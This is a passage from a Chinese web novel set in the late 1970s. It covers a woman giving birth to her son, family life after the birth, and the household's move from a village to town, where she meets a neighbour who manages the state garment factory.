“哇——哇——哇+” 尖锐的婴儿啼哭声打断了产房里的痛苦呻。吟,听到谢晚棠痛苦的声音时难受,可当真听不到谢晚棠的声音了,他又一阵莫名的心慌,扒着产房的门,想要知道谢晚棠到底怎么样了。 产房护士推开门出来报喜:“恭喜恭喜,是个儿子,6斤6两,包孩子的东西带了吗?” 护士话落,兰兰带着傅大嫂拿着包袱冲上来,闻声喊道:“带了带了,在这里!” 兰兰麻溜地把小包单和小孩衣裳拿出来递给护士,护士转身进门前,傅青山一把拉住她胳膊:“我媳妇她怎么样了?” 护士疼得哎呦一声:“母子平安,母子平安!你媳妇没事。” 傅青山长舒一口气,手上的劲这才放松下来:“那她怎么还不出来?” 只要一刻不看到谢晚棠,他都不能完全放下心来。 护士:“一会儿包好孩子,大人就可以一起出来去病房了。” 兰兰拍拍他肩膀:“爹,娘没事,您放心吧。” 护士进去没多久,就把孩子包好抱出来给傅青山,傅青山看都没看一眼,眼睛一直盯着产房里面:“我媳妇呢?” 护士心里感慨,真是望妻石一般的好男人啊! 傅大嫂赶紧把孩子从护士手里接过来:“来来来,六六先找大娘。” 傅大嫂话落,谢晚棠就从产房里走出来了,头发乱乱的,一脸的疲惫,剧痛过后的生产,用尽了她一身的力气。 看到傅青山站在门口,红着眼睛看她,谢晚棠慢慢走过去,伸手抱住他的腰,偏头靠在他心口,长舒一口气:“二哥,再晚10分钟,我就要生在路上了。” 第74章 我们六六很乖哦! 虽然只有短短的几个小时,但这个后半夜又惊又累,谢晚棠感觉乏极了,回到病房,换下被汗水浸湿的衣裳,穿上看看给她带来的干衣服,只想躺下好好睡一觉。 然而她的小六六还在嗷嗷待哺,她只得打起精神来先给六六喂奶。 怀孕晚期的时候,她就已经开始有奶水不时溢出来了,如今被六六大力吮吸,奶便源源不断地涌出。 只是新生婴儿的嘴力真的有点猛,才吸了没几下,她就疼得皱起眉头,这劲儿,感觉要把她**上的皮嘬掉似的,终于明白为什么有个词叫使出吃奶的劲儿了…… 傅大嫂终归是生过三个孩子的人,有经验,扶着六六的下巴,不时调整他的嘴,教着他整个含进去吸,谢晚棠慢慢才感觉到没那么疼了。 垂眸看着怀里白白嫩嫩努力干饭的崽崽,心里说不出是个什么滋味,好像心底有一处柔软地化开,漾起轻柔的波。 她当母亲了。 开了十指骨缝,经历了十级疼痛,成为了一名真正的母亲。 不知道是不是缘分,她的小六六,出生刚好六斤六两。 被小婴儿吸奶的感觉很奇妙,麻麻痒痒的,有点难以形容。 谢晚棠仔细打量怀里的崽崽,肉乎乎的小婴儿,其实还看不太出来是像她还是像傅青山,不过白嫩嫩的,看着很好看,跟她以前在网上看过的那些像小老头一样的新生儿完全不一样。 六六卖力吸吮,直到在她怀里被奶睡着,小嘴巴好久不动,最后直接从嘴里掉了出来。 傅大嫂说第一次喂奶,奶都不会很多,多吸吸就越来越多了。 喂完奶,傅大嫂把孩子接过来轻轻拍嗝,说不然容易吐出来奶,谢晚棠感觉请傅大嫂来照顾月子简直不要太明智。 傅青山被医生叫过去补办手续了,有傅大嫂在,谢晚棠不担心孩子,整个人一放松下来,便控制不住地上眼皮跟下眼皮打架,躺下没一会儿就沉沉睡去。 顺产虽然过程艰难,但的确恢复快。 翌日下午,傅青山去办理出院手续,傅大嫂给六六包好,兰兰打包行李,谢晚棠已经恢复了体力,能自己穿衣服下床了。 等傅青山办完手续回来,她们也收拾好了,傅青山接过兰兰手里的大包小包拎下楼,兰兰过来扶着谢晚棠的胳膊。 她们刚走到楼梯口,楼下大门嘭一声被撞开,下一秒就看到一个熟悉的身影冲进来,背上还背着一个人:“大夫!大夫!” 傅大嫂拧眉一看,这不是她男人*嘛!身上背着的正是傅青宁。 大厅护士跑过去接,紧跟着大门外又冲进来两个人,是蒋有年和傅老太,傅老太嗷嗷哭喊着:“大夫快救救我闺女啊!” 护士领着傅大哥往二楼跑,谢晚棠他们让开路,路过的时候,她看到傅青宁脸色泛着不正常的白,已经失去了意识,青色的裤子从大腿一直到裤腿全是血。 傅大嫂也被那一裤子血吓住,一直到人被送进二楼手术室,傅大嫂才回过神来,过去问傅大哥:“这是怎么回事?” 傅老太不是提前就把接生婆占下了吗?怎么反倒弄成了这样? 傅大哥半晌气才喘匀乎:“青宁生了一天一夜,最后孩子出来以后,血就止不住了。” 产后大出血。 傅老太和傅大哥站在手术室门口,着急得来回踱步,倒是蒋有年,坐在手术室门口的排椅上,一脸平静的样子。 谢晚棠冷眼旁观,终究没有说什么。 每个人自己的选择,都只能自己承受。 傅青宁还不知道什么时候能出来,谢晚棠没有在这等,傅青山把她送上车,谢晚棠把兜里的钱拿出来塞到傅青山手里:“我们先回去,你在这照应着吧。” 不管怎么说,傅青宁也是他的妹妹,现在在里面生死未卜。 傅青山嗯了声,接过钱来。 来的时候骑的自行车,回去的条件就截然不同了,傅青山去市武装部借了一辆老吉普,虽然有些旧了,但也是大沟镇头一辆了。 傅大嫂抱着孩子,紧张地坐进去,第一次坐大汽车,感觉手脚都不知道该怎么放了。 兰兰也差不多,拘束得很,开到半路才稍稍放松下来。 到了下沟村,这辆绿色的老吉普更是万众瞩目,除了电影里,村里人哪见过这牌面啊! 毕竟整个下沟村,自行车一共才只有三辆。 老吉普一路开到大门口,老三媳妇和孩子们闻声出来,见她们从大汽车里下来,惊得不行。 二刚小心地上去摸了摸吉普车壳:“天哪,是真的!” 谢晚棠笑着谢过司机,过来摸了摸二刚的头:“等你以后好好学习,挣了大钱,也可以自己开汽车。” 二刚不可思议:“还能自己开汽车?” 谢晚棠被逗笑:“当然啊,你以前觉得吃肉难,现在咱家不是经常吃肉了,以后你只要努力上进,开车也不是难事啊,没准以后咱们国家发达了,人人都开车呢。” 21世纪,家家户户都有轿车,有的人家还不止一辆呢。 只要努力,没有什么是不可能的! 二刚虽然觉得开车像是做梦,但娘说的很多事都实现了,他又有点想相信,点头:“我会努力的,娘!” 小刚和妞妞也跟着举手:“我们以后也努力让娘天天坐汽车!” 老三媳妇拉着谢晚棠进门:“二嫂快进来,月子里最不能见风了,热风也不好。” 这两天她们去医院,都是老三媳妇过来给几个孩子做饭的。 进了炕间,傅大嫂把六六一放下,孩子们一下就围了上来。 六六一下子见到这么多人,眼睛骨碌骨碌转,都快用不过来了。 妞妞小心翼翼地伸出手摸了摸他的脸蛋,惊讶地回头对谢晚棠道:“娘!弟弟的脸好嫩好软啊!” 谢晚棠笑道:“刚生出来还比较新嘛。” 哥哥姐姐这个摸一下脸,那个摸一下手,六六不仅没有哭,反倒有些好奇地蹬着胳膊腿,越蹬崴越兴奋,吐着粉嫩的小舌头,笑呵呵地看着一圈人。 老三媳妇逗了两下:“这孩子真好,不哭不闹的,这么小就会笑了。” 老三媳妇话落,卖力蹬崴的小六就放了一个大长屁,给老三媳妇逗笑了:“放个屁都这么有劲,这是觉得三婶夸的对是吧!” 看着一群孩子围着六六,跟着三婶夸他放屁厉害,谢晚棠笑着摇头,果然是放屁都会被夸奖的年纪呢。 有这么多人看着孩子,傅大嫂先去烧火,做了碗红糖水鸡蛋让她先吃了,暖暖身子,然后开始准备中午饭。 有傅大嫂在,谢晚棠除了喂奶,基本什么都不用做,就负责在炕上看书养身体。 傅大嫂做饭的时候,还有孩子们帮着照看,对于在70年代能坐这样的月子,谢晚棠真的很知足。 一直到傅青山晚上回来,傅大嫂才回家。 吃过晚饭,等孩子们都回屋了,谢晚棠才问了傅青宁的情况。 傅青山脸上看不出什么情绪:“生完孩子大出血,只能给摘了子宫,算是捡回了一条命。” 摘除子宫,只剩以后不能再生孩子了而已,但命没了,可就什么都没了。 而且不能生孩子也不是什么大事,傅青宁都已经生了一个闺女了。 不过不是每个人都这么想,后来谢晚棠听傅大嫂说才知道,傅青宁从医院回来,蒋有年的父母来看过一次,听说摘了子宫以后再不能怀孕了,那脸色难看得很,没关心句傅青宁的身体,当场就说什么“给他们老蒋家断了根”这样抱怨的话,连那刚出生的小闺女也不待见。 不过这都是后话了,傅青宁的事,谢晚棠不想多说。 看傅青山从回来到现在都没有看看六六,谢晚棠把睡醒的六六抱起来,伸手一逗,六六就会笑,老母亲的心都要被甜化了。 谢晚棠把六六往傅青山面前送了送:“二哥,你还没抱过六六呢。” 在医院的时候,傅青山就天天围着她转,倒是,有傅大嫂在,傅大嫂照顾得仔细,没有什么让人不放心的。 但是刚当爸爸,按理来说不应该很激动的吗?傅青山好像对孩子的一切都不上心似的。 今晚回来也是,从到家到现在,只问了她的情况,也没问问孩子,也没说要看看摸摸。 谢晚棠有点替自己的小六六委屈:“二哥,你是不是不太喜欢小孩啊?” 傅青山被问得一怔,其实他自己也说不上来是个什么感觉。 按理来说,家里这五个孩子,他都能做到视如己出,自己的亲生孩子,他不可能不喜欢。 但一想到谢晚棠吃了那么多苦、承担了那么大的风险才生出来这个孩子,他就有种说不出来的感觉。 也不能说不喜欢,只是他更担心谢晚棠,超过了所有其他。 傅青山深吸一口气,摇摇头:“没有。” 谢晚棠扬起唇角,把孩子又往前递了递:“那爹爹就抱抱我们六六吧,我们六六很乖哦!” 傅青山小心翼翼地接过来,小孩子真的很软,比他想象中还要软,他手提100斤的水泥都不会抖,抱一个不到7斤的孩子,却僵硬得不敢动。 出生第三天,傅青山才细细打量孩子,虽然五官还没有长开,但是白白嫩嫩的,真的挺好看的,尤其是那骨碌着的大眼睛又黑又亮,很像谢晚棠,他的心不自觉地软下来。 他打量小孩,手上的小孩也在打量他,半晌突然蹬崴着小脚,攥着小拳头挥来挥去,对着他笑起来。 第75章 棠棠,我们以后再也不要孩子了。 小孩身子太软,小身子动来动去的时候,傅青山手更是僵硬得一动不敢动,心里却莫名的柔软到发暖,原来这就是当爸爸的感觉。 很奇妙。 可是当看到谢晚棠喂奶时疼得直吸气,那柔软的父爱一秒钟就消失了,有些烦躁地把人揽进怀里,“棠棠,我们以后再也不要孩子了。” 他不愿看到谢晚棠承受任何风险和痛苦。 春去秋来,转眼到了1978年春。 这几年,大沟村发生了很多事。 国家恢复高考后,夏竹考上了父母的母校,却被村里人议论都有了孩子了还出去上学有什么用!傅青木坚持供她去读了大学。 蒋有年高考失利,但父母还是想办法给他弄回了城里进厂当了工人。傅青宁跟着蒋有年离开下沟村的时候,像一头高傲的公鸡,趾高气扬地晃动着鸡冠,接受全村人民羡慕的目光。 大刚这一年也满了18周岁,循着亲生父亲的脚步,应征入伍,穿着绿军装,胸口带着大红花,跟随着军用大车开向遥远的地方,成为了一名光荣的人民子弟兵。 谢晚棠的服装事业这几年如火如荼,在大沟镇小有名气,十里八乡、就连镇上都有她的客户,一年到头订单不断,光傅大嫂、老三媳妇和兰兰都忙不过来,王寡妇带着几个勤快手巧的妇女,也加入进来,生产团队越来越大。 傅青山升了职,现在是大沟镇武装部长兼派出所所长。 二刚也上高中了,平时都在学校住校,只有一月一次学校放假的时候,才能周五跟着傅青山一块回来。 六六喂小黑啃骨头的时候,听见大门响,偏头一看,就看到爹推着自行车进来了,二哥紧随其后。 六六高兴得冲过去,越过爹,一下子抱住二哥的大腿:“二哥!你终于回来了!” 爹爹每天都能见到,但二哥要一个月才能见到一次。 16岁的二刚抽条成高瘦的少年,一把把最小的弟弟抱起来,笑着捏捏他白白嫩嫩的小脸蛋:“在家有没有听娘的话?” 六六抱着二哥的脖子:“有有有,不信你问娘,我现在会背很多古诗了!” 二刚作惊讶状:“这么厉害啊!二哥得给六六奖励啊。” 六六一听,高兴极了:“什么奖励啊!” 谢晚棠闻声从家里出来,就看到六六扒在二刚身上,跟个小鹦鹉似的,叽叽喳喳个不停。 六六这孩子,虽然才五岁,但五官长得跟傅青山像极了,俨然一个缩小版的傅青山,但是性格跟傅青山截然不同,不仅不冷,反而爱说爱笑,妥妥一条小棉裤。 谢晚棠帮着傅青山把车筐里的东西拿下来,抬头对六六道:“自己现在多沉了没数啊,你二哥现在学习正是累时候,你还一回来就扒着你二哥。” 六六一听,马上乖乖要下来,二刚把人又往上抱了抱,笑道:“没事娘,我不累,而且就算累,看到咱家六六这么可爱好看,也不累了!” 六六被夸得美滋滋,谢晚棠笑:“你就惯他吧!” 二刚抱着六六进了屋,去找小刚和妞妞,两人现在也上小学了,放学回家一起在小刚房间写作业。 关着门,两人又写得认真,没听到外边的动静,二刚一推门,两人才发现他回来了,高兴地放下笔,过来围着二刚。 二刚把六六放在炕上,从书包里拿出来给弟弟妹妹们买的书和学习用品。 除了小人书,二刚还选了一些科普读物,弟弟妹妹们都很喜欢,每个月都期待着二哥给带书回来。 谢晚棠前两年买了个书架放在他们房间,刚买回来的时候还空空荡荡的,转眼几兄妹的书就已经把书架放满了。 除了书,二刚还给弟弟妹妹们带的铅笔、本子、橡皮,给六六还额外买了一个蓝色小海豚的铅笔盒。 之前三哥和小姐姐上小学的时候,二哥都给买了铅笔盒,六六就羡慕得不行,如今他也有了,高兴得抱着二哥的脖子一顿亲,把自己的铅笔橡皮装进去,翻过身下炕,抱着铅笔盒哒哒哒跑去给娘看。 “二哥给我也买了铅笔盒,我是不是也可以跟着三哥和小姐姐一起去上学了?!” 六六从小就聪明,听过哥哥姐姐讲小人书,就能复述出来。 村里没有幼儿园,谢晚棠自己也没有幼儿教学经验,就尝试着教他一些古诗,认识数字,他也很快就能记住,现在古诗已经能背十几首了,100以内的加减法也都没问题。 谢晚棠看着自己白白净净的小儿子,欣慰地摸摸他圆溜溜的小脑袋:“二哥这么好啊!那你有谢谢二哥吗?” 六六闻声又跑回房间,抱着二哥的腰,摇头笑道:“谢谢二哥!” 兰兰做好了饭,喊他们几个,二刚一把抱起小六,带着弟弟妹妹们一起去帮着端饭。 派出所所长不像武装部长,可不是个闲职,傅青山又是个负责任的,自从去年兼任派出所所长以来,晚上很少能准时下班,更别提像以前那样早下班了。 为了方便,家里又买了辆自行车,平时兰兰隔三差五就骑车子去镇上买肉采购,家里已经不用等傅青山买东西回来做晚饭了。 今天二刚回来,兰兰特地上午就去镇上买了牛腩、猪肝和猪肉,中午吃过饭就炖上了土豆牛腩,小火靠了半下午,早就炖得软烂入味。 除了土豆牛腩,又用辣椒爆炒了个猪肝,木耳拌菠菜,还炸了二刚最喜欢的肉馅大茄盒。 二刚一看到茄盒眼睛都亮了起来,给姐姐捏着肩膀:“姐,你这得忙了一天吧!太爱你了姐!” 兰兰嘶了声,笑道:“快让你酸倒牙了,怎么去镇上上学上得,说话都酸溜溜的!” 大家闻声都哈哈大笑,一家人围坐在炕上,热热闹闹地吃晚饭。 吃饭的时候,傅青山还带来一个好消息:“今天开会,镇政府给每个干部都分上了购房资格,咱家可以在镇上买房子了。” 自从去年国家放开高考,知青纷纷回城,傅青山上任派出所所长以后,说现在上边连投机倒把都不怎么抓了,国家各方面的管控政策逐渐都开始松了下来,现在连镇上的购房资格都放开了…… 任何时候,教育环境都是很重要的,尤其是现在国家还放开了高考。 自从小刚和妞妞上了小学,谢晚棠其实一直就想去镇上住,毕竟镇上的小学教学条件肯定比村里要好上许多。 而且六六这个年纪也该上幼儿园了,可村里根本没有幼儿园这一说,都是她自己在家约摸着教教。 只不过之前要是去镇上,就只能住傅青山单位分的宿舍,只有一间,全家又要挤在一个小炕上,过惯了舒坦的日子,真是想想就难以忍受。 如今能自己买房子了,谢晚棠毫不犹豫:“买!” 自从六六满了周岁,她的精力也解放了出来,这几年大家过得越来越好,手上有点余钱了,她服装生意做得有声有色,每个月给大家发完钱,剩下挣的也不必傅青山少多少了,攒下不少钱,买套房子还是绰绰有余的。 以后房子还会升值,现在买上不光解决了孩子们上学的问题,也是个很好的投资。 虽然现在的大房子她很喜欢,每天一起干活的人也都很爽朗,乡村生活也很悠闲自在,要离开会有很多不舍,但农村的消费观念、时尚理念毕竟落后许多,已经1978年了,改革开放即将推进,国家即将迎来翻天覆地的变化,时尚圈风起云涌,正是打江山的好时候,她想出去看看外面的世界,第一步就得先走出下沟村。 孩子们一听要去镇上买房子,搬去镇上住,也都高兴得不行。 说买就买。 隔日,傅青山休班,两人就一起去镇上看房。 虽然镇上待售租的房子不少,但要选一个合适也不是个容易的事。 两人一早就开始逛,结果不是房子小房间少,就是采光差家里黑,再要么就是院子挤吧晒衣服都费劲。 总之不是自己设计自己盖,很难完全顺心意。 就在她都打算摆烂随便挑一套就定了的时候,终于看到一套非常顺眼的! 套三的大房子,屋里采光好,院子也又大又敞亮,不光能把小黑小鸡小鸭都带来,开块小菜地都富裕着呢,只不过院子是要和对面邻居共用的,到时候要问邻居的意见。 推门一看对面还没住人,谢晚棠一喜,问房东两套一起买下来多少钱,结果房东说,对面已经卖了。 卖了就卖了吧,这已经是她看到目前最喜欢的一套了,谢晚棠当即拍板:“就这套吧。” 傅青山也很满意,跟房东签了合同,交了定金。 房子的事敲定了,已经中午了,两人正寻思着去国营饭店吃个午饭,下午去看看附近小学和幼儿园的情况,结果一出胡同,就碰到傅青宁拎着菜篮子,迎面走来。 傅青宁跟着蒋有年离开下沟村的时候趾高气扬,半年过去,看起来满面愁容,没有了当初的春光满面。 看到她手上拿的合同,傅青宁拧眉:“二哥,你也要搬来城里住了?” 最近好多家在农村的干部都来城里租房子或者买房子,傅青宁一看谢晚棠身后这栋大房子,这是这一片最大的一家,租费都是笔不小的数目,更别提买了。 谢晚棠还是跟以前一样不知道过日子,不知道在城里生活处处都要花钱的难处,宁愿租个大房子享受,也不想买个小的。 傅青山点头,没说什么。 谢晚棠甚至已经有些后悔把房子买在这里了,要是早知道傅青宁就住在这附近,她宁可去住老破小,也不愿意跟傅青宁低头不见抬头见,不够烦人的。 果然,下一秒,傅青宁就扬起高傲的下巴,开始阴阳怪气:“在城里住可不比村里,什么都要花钱的。你的工作问题肯定也没解决吧?我们家有年哥在国营服装厂当会计,我就能跟着进厂当家属工,解决粮食关系,你光指着我二哥的工资,还得月月交房租,可别想着跟在村里的时候那样能吃香的喝辣的,做好勒紧裤腰带的准备吧!” 她二哥的单位虽然看着好,但是武装部和派出所都是男人干活的地方,可没有招家属工的,谢晚棠的工作肯定没有着落! 谢晚棠:“……” 这时候的家属工,说白了就是临时工,啥时候转正都没着落呢,还至于这么骄傲了? 第76章 国营服装厂女厂长VS农村服装厂女厂长 一个人的眼界在哪里,她的未来就到哪里。 而且服装厂里全是女工,就蒋有年那个花心的臭德行,狗改不了吃屎,傅青宁有精力来阴阳怪气她,不如想办法管好她家那个全身是缝、时刻想着勾引人的臭鸡蛋吧。 谢晚棠耸耸肩:“那就好好干好你的家属工,争取早日转正吧。我的事,就不劳你来费心了。” 说完,谢晚棠跑了一上午,饿得肚子都叫了,懒得再多费口舌,牵起傅青山的手:“走吧二哥,我好饿啊,去晚了人多,饭店上菜都要等。” 对于这个妹妹,傅青山没什么好说的,反正说了她也不会听,点点头,跟着谢晚棠走了。 目送谢晚棠和二哥的背影离开,两人牵在一起的手刺痛着她的眼睛,傅青宁咬牙,紧紧攥着手上的菜篮子,指节都发白了。 除了进城那天,离开下沟村的时候,她享受着全村人艳羡的目光,从那以后,生活便一落千丈,跟她想象中的进城生活完全不一样。 蒋有年有城镇户口,又上过学,靠着父母的关系进了服装厂当会计,每天穿得衬衣西裤,光线亮丽,不再像在下沟村时那样破旧,她本该高兴,但蒋有年打扮得越好看,喜欢他的小姑娘就越多,她每次偷偷去他单位都能看到很多小姑娘围着蒋有年叽叽喳喳。 她跟蒋有年闹,蒋有年就说是正常同事关系,嫌弃她思想龌龊! 进了城,蒋有年毫不避讳,直接嫌弃她是农村人,土,不会打扮,手牵手上街更是不可能。 她没了娘护着,又不挣钱,靠蒋有年养着,一吵起来蒋有年就是那句冷硬的:“不想过就滚!” 她开始学着穿衣裳,收拾自己,努力跟城里女人靠近,但婆婆又骂她天天在家不挣钱,还就知道花钱浪,下不了蛋的笨鸡! 傅青宁从小到大从没受过这样的气,第一次明白了什么叫咬碎了牙往肚子里咽。 直到服装厂里招家属工,她进了厂上班,虽然临时工工作累,工资也只有正式工的一半,但好歹是自己能挣钱了,日子才稍微舒坦那么一点,不过城里花钱去处多,每个月也得精打细算着花,更不用提去国营饭店吃饭,蒋有年说下馆子是男人的事,让她少想些有的没的。 看二哥带着谢晚棠去国营饭店,她心里就不是滋味。 不过再一想,二哥也是没在城里住过,不知道在城里生活的难,才这样破费,等着他们一大家子真住进城里来试试吧,一家七口全靠二哥一个人养活,还下馆子?做梦吧! 这么一想,她心里又舒坦多了,时间不早了,拎着菜篮子快步往家走。 从国营饭店吃过饭出来,正好碰上旁边供销社的售货员,问他们这是又来城里大采购? 这几年,谢晚棠做衣裳做的小有名气,经常来供销社买扣子和松紧带,跟售货员混得很熟了,售货员看她穿得好看,也找她做过好几次,直夸她手艺好,收的手工费还低,要是来镇上开个裁缝铺,保准火。 谢晚棠笑道:“来看房子,准备搬到镇上来住了。” 售货员一听可高兴坏了:“那可太好了!以后我不用跑下沟村去找你做衣裳了!” 售货员问她住哪儿,什么时候搬过来,谢晚棠一一告知,售货员表示等她安顿下来,就带着姐妹们去找她做衣裳。 这还没进城呢,就预定了单子。 谢晚棠感慨人民生活水平的提升,祖国翻天覆地的新时代真的要到来了。 告别售货员,两人去看了小学和幼儿园,离新家都不远,走着就能接送,周末学校都放假没人,但看着校舍条件比下沟村的村小是强上一百倍,谢晚棠很满意。 两人回去的路上去了趟黑市,买了个大肘子,还有2斤瘦肉,打算晚上回去包饺子庆祝。 之前光头哥那个高高瘦瘦的好看小徒弟,如今已经成了这里的顶梁柱,谢晚棠敲门报了要买的东西,少年点头回去秤好送出来。 谢晚棠颠了颠手上的肉,笑道:“帅哥,每次都2斤,我怎么感觉我来买回去的轻,我家兰兰来买的就重呢?” 谢晚棠话落,少年果然脸红,嘴一会儿张一会儿抿,半晌没说出话来,谢晚棠瞬间印证了自己的猜测。 谢晚棠笑笑:“走了帅哥。” 推着车子走出去十几米,傅青山又回头看了一眼,转回身来,皱着眉头:“你觉得他长得帅?” 谢晚棠被问得一愣,随口道:“挺帅的啊,你觉得不帅吗?” 傅青山:“……” 他不想回答这个问题。 他不想承认少年帅气,还比他年轻,但如果不承认,好像又显得他很狭隘。 傅青山皱眉,半晌郁闷道:“你可以觉得他年轻帅气,但能别当着我的面说吗?” 他比谢晚棠大7岁,结婚的时候不觉得,如今孩子5周岁了,他也33了,而谢晚棠还是20多岁充满朝气的年纪。 谢晚棠一脸问号,看傅青山看了半晌,才从他为数不多的微表情里看出来:这是吃醋了?! 谢晚棠抿唇低笑,大佬也会有危机感吗?怕小鲜肉篡位? 傅青山闻声眉头皱得更深了:“棠棠,你笑什么?” 谢晚棠一把抱着他结实的臂膀:“二哥,你放心,小鲜肉再帅,也不是我的菜,我最喜欢你这种强健有力、充满安全感的老……干部了!” 老男人差点脱口而出,谢晚棠想到男人对自己年龄的自卑,临出口,及时改成老干部。 傅青山面色复杂:“老干部?” 他在镇上是年龄最小的干部。 谢晚棠嗐了声:“老干部他不是指年龄老,是稳重的意思!” 好不容易安抚住老男人脆弱自卑的小心脏,谢晚棠碰碰他胳膊:“二哥,你闺女喜欢这帅哥,你就真的一点都没看出来?” 傅青山这下眉头紧锁,又回头看,但大门已经关上,少年的身影也已不见。 傅青山摇头。 他是一点都没看出来。 如果看出来了,也不会吃醋了。 傅青山:“真的?” 谢晚棠点头:“八九不离十。” 前几年他们一起来镇上的时候,其他孩子都满心赶大集、逛供销社,每次兰兰都主动提她先来买肉,节约时间,那时候她还觉得是兰兰懂事。 有几次她跟着一起来,总感觉那个少年面对兰兰的时候,脸色微红,有点不太自然。 去年家里又买了辆自行车,兰兰经常来镇上买肉,每次买回去2斤肉,都比傅青山买回来的多,次数多了,谢晚棠就觉得不太对劲。 傅青山倒是没有职业歧视,他更看重人品:“不知道叫什么,是哪里人,家里人性怎么样?” 谢晚棠笑:“等你闺女把人领回来的时候,你不就知道了?” 兰兰今年也19了,明年就到了谈婚论嫁的时候了。 而且不知道为什么,谢晚棠感觉那个少年的眼睛很干净,给人一种很放心的感觉。 可能是因为相由心生,眼睛是心灵的窗户吧。 两人回家都没有戳破这个事,晚上吃饺子的时候跟孩子们说了今天去定了房子的事,房子之前就租过,墙和地面都不需要修整,打扫打扫卫生就可以搬进去。 傅青山明天下班去收拾一下,后天请一天假,搬家。 孩子们一听,高兴坏了。 二刚啧了声:“没想到咱家说进城就进城了!” 小刚嘿嘿:“娘,城里的小学大吗?” 妞妞也好奇地看着谢晚棠,谢晚棠笑道:“大!有你二哥的高中一半那么大!” 小刚和妞妞都跟着谢晚棠进城给二刚送过饭,见过二哥的高中,那大教室,羡慕得他俩眼珠子到处转,如今一听小学竟然都有高中一半那么大,心里顿时对进城上学期待极了。 谢晚棠摸摸六六的头:“六六进了城也可以上学了,咱新家旁边就有个幼儿园。” 六六一听,哇塞一声:“太好了!我也能上学了!二哥你是不是知道我能上学了,所以才给我买的铅笔盒啊!” 二刚闻声哈哈大笑,这他还真不知道,他就是看小六每次看着哥哥姐姐的铅笔盒眼馋的那个样,觉得可爱极了,就用剩下的零花钱给他买了。 因为后天就要搬家,吃过晚饭,孩子们就各自回屋去收拾自己的东西了。 翌日,谢晚棠把傅大嫂和老三媳妇叫来,跟她俩说了要搬去镇上的事,两人惊呆了。 老三媳妇回过神来:“去镇上住当然好,不过做衣裳这些事怎么办?二嫂你每天来回跑?” 谢晚棠笑笑:“就是要跟你们说这事。” 谢晚棠早就想好了,跟两人说了以后就把做衣服这摊都交给她们俩了,还把客户信息资料、进货渠道和价格账本也都给了她俩。 这几年干得越来越红火,两人跟着谢晚棠挣了不少钱,自然也知道了这里面挣钱的门道,只是这么挣钱的营生,谢晚棠居然就直接送给了她们俩! 傅大嫂犹豫:“晚棠,这怎么能行,这可都是你一手干起来的。” 老三媳妇也道:“对啊二嫂,全给我们不行,要不这样吧,以后每个月给你分红!” 其实谢晚棠的目标并不在这个家庭小裁缝铺,但傅大嫂和老三媳妇还是坚持每个月发完工资剩下的钱给她分红4成,她们俩每人拿3成。 谢晚棠把镇上新房的位置写给她们,让她们下次需要进货的时候来找她,她带着两人去见见供货的大姨还有供销社的售货员,把关系联系上,以后她们俩就能自己独立进货了。 这几年两人都挣了钱,傅大嫂翻盖了东屋,又加了一间,住起来舒坦多了,对比之下,老三媳妇住那个小南屋就不行了。 老三媳妇问她:“二嫂,你们搬出去了,这房子空下来也可惜,要不租给我吧!” 买房子的钱她拿不出来,但租着住没问题。 谢晚棠自然没问题,给了她一个很合理的租费,老三媳妇也美滋滋地回家收拾东西,准备搬家。 搬家之前,谢晚棠还去看了薛桂花。 刘翠芬的傻儿子大根五岁了吃饭还流口水,见了人痴痴傻傻地嘿嘿笑,刘翠芬心情不好,动不动在家就摔摔打打的,朝着薛桂花发泄。 谢晚棠下午来给薛桂花送东西的时候刚好碰上,刘翠芬知道她不好惹,见了她收敛了几分,回了自己屋摔上门。 谢晚棠早就要接薛桂花去家里住,但薛桂花传统,觉得有儿子在,她不该去闺女家,这几年就这么一直忍着,思想方面的事,谢晚棠没办法,只能给薛桂花带来些衣裳鞋和吃的,改善改善她的物质生活。 听说闺女要去城里住了,薛桂花自然高兴,嘱咐她和傅青山好好过日子。 把村里的事都安排好,谢晚棠也回家开始打包收拾。 这是第二次搬家了。 第一次搬家的时候,就用小板车拉了两趟就搬完了,过了六年,屋里添置得满满当当。 翌日一早,傅青山找的带大斗的汽车来拉的,箱子柜子桌子缝纫机衣裳、锅碗瓢盆还有家里的牲畜,整整装了一大车才塞下。 走的时候好多人来送,傅大嫂拉着谢晚棠的手,眼都红了,谢晚棠笑着拍拍她手:“又不是再见不着了。” 老三媳妇也说:“就是,大嫂,咱下周去镇上就去二嫂家了!” 傅大嫂笑着擦擦眼泪:“哎呀,说的也是,我就是没出息!” 郭燕和刘秀香也问了谢晚棠新家的位置,说等着去镇上开会的时候找她玩。 刘大水老婆这两年也跟着王寡妇加入了她们的小作坊,跟着干的起劲,跟谢晚棠的矛盾早没了,天天跟谢晚棠朝夕相处影响的,拿着小顺子也好多了。 王寡妇和刘大水老婆跟一众在谢晚棠小作坊干活的妇女都很不舍来送,谢晚棠握起拳头,嘱咐她们加油干! 薛桂花也来送,嘱咐她路上慢点。 还有傅大嫂和支书,谢晚棠跟他们说等着安顿好了还会回来看他们…… 跟大家道别后上车,随着汽车在小土路上颠簸,她离开了生活了六年的下沟村,即将开始新的生活。 孩子们第一次坐汽车,开心又兴奋,一路上说说笑笑。 六六扒着车窗往外看,秋日的晨光里,路两旁的大树叶子*金黄,随风摇摆,被疾驰的汽车远远地落在后面,越来越远,最终成为一个金色的小点,成为他童年美好而深刻的记忆。 汽车一路开到镇上他们的新家门口,孩子们下车先进去看房子。 小刚惊呼:“这里比咱家还大!” 谢晚棠摸摸他头:“这里以后就是咱家了。” 小刚嘿嘿一笑:“对!” 六六跟着小姐姐踏进大门,哇偶一声:“咱们的新家真好看!” 话落,对面邻居的家门吱呀一声推开,一个比谢晚棠高一头、留着干练青年头的中年妇女从家里出来,一见着谢晚棠就露出笑意:“你好,咱们以后就是邻居了,没想到你们也今天搬家,咱们脚前脚后,我们也上午刚搬进来。你们家这么多孩子啊,真热闹!” 新邻居一看就是个脾气爽快的,谢晚棠上前打招呼,孩子们也跟着叫阿姨好。 一聊才知道,面前这位热情爽朗的大姐竟然还是位职场女强人——大沟镇国营服装厂的女厂长毕淑君。 大沟镇就一家国营服装厂,那这位毕厂长就是傅青宁的顶头大boss啊! 大厂长看着还挺平易近人的,都没傅青宁架子大。 毕淑君自我介绍完问谢晚棠:“小谢,你是做什么工作的?” 呃…… 大言不惭地说,她算是大沟镇农村服装厂的女厂长吧→_→ 第77章 老男人也学坏了! 谢晚棠轻咳一声:“以前在村里,就给村里的邻居们做做衣裳什么的。” 毕淑君一听,再看谢晚棠,就不奇怪她穿得这么洋气了:“那咱们还是同行。” 谢晚棠谦虚:“您是大厂长,我跟您可没法比。” 